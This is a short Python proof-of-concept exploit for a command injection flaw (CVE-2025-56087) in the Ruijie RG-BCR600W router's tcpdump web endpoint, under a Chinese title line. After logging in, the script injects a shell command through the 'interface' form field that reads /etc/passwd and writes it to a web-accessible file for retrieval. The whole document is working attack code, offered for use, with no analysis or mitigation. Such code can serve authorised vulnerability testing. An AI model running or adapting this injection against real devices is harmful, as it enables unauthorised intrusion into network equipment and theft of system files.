CVE-2025-56087 Ruijie RG-BCR600W 操作系统命令注入漏洞

#!/usr/bin/env python3 # CVE-2025-56087 PoC - Ruijie RG-BCR600W OS Command Injection # Target: /usr/lib/lua/luci/controller/admin/common_tcpdump.lua import requests import sys TARGET = "http://{target_ip}" LOGIN_URL = f"{TARGET}/cgi/login" TCPDUMP_URL = f"{TARGET}/cgi/run_tcpdump" def login(session, username, password): """Authenticate to the device""" data = {"username": username, "password": password} resp = session.post(LOGIN_URL, data=data, timeout=10) return resp.cookies def exploit(session, cookies, target_ip): """Execute command injection via run_tcpdump endpoint""" # Inject command to exfiltrate /etc/passwd payload = "; cat /etc/passwd > /www/exfil.txt" data = { "interface": payload, "expression": "tcp", "count": "1" } headers = {"Content-Type": "application/x-www-form-urlencoded"} resp = session.post(TCPDUMP_URL, data=data, cookies=cookies, headers=headers, timeout=10) return resp.status_code def main(): if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() print(f"[*] Logging in to {target_ip}...") cookies = login(session, username, password) print("[+] Login successful") print(f"[*] Sending exploit payload...") status = exploit(session, cookies, target_ip) print(f"[*] Response status: {status}") print("[+] Exploit sent - check for command execution on target") if __name__ == "__main__": main()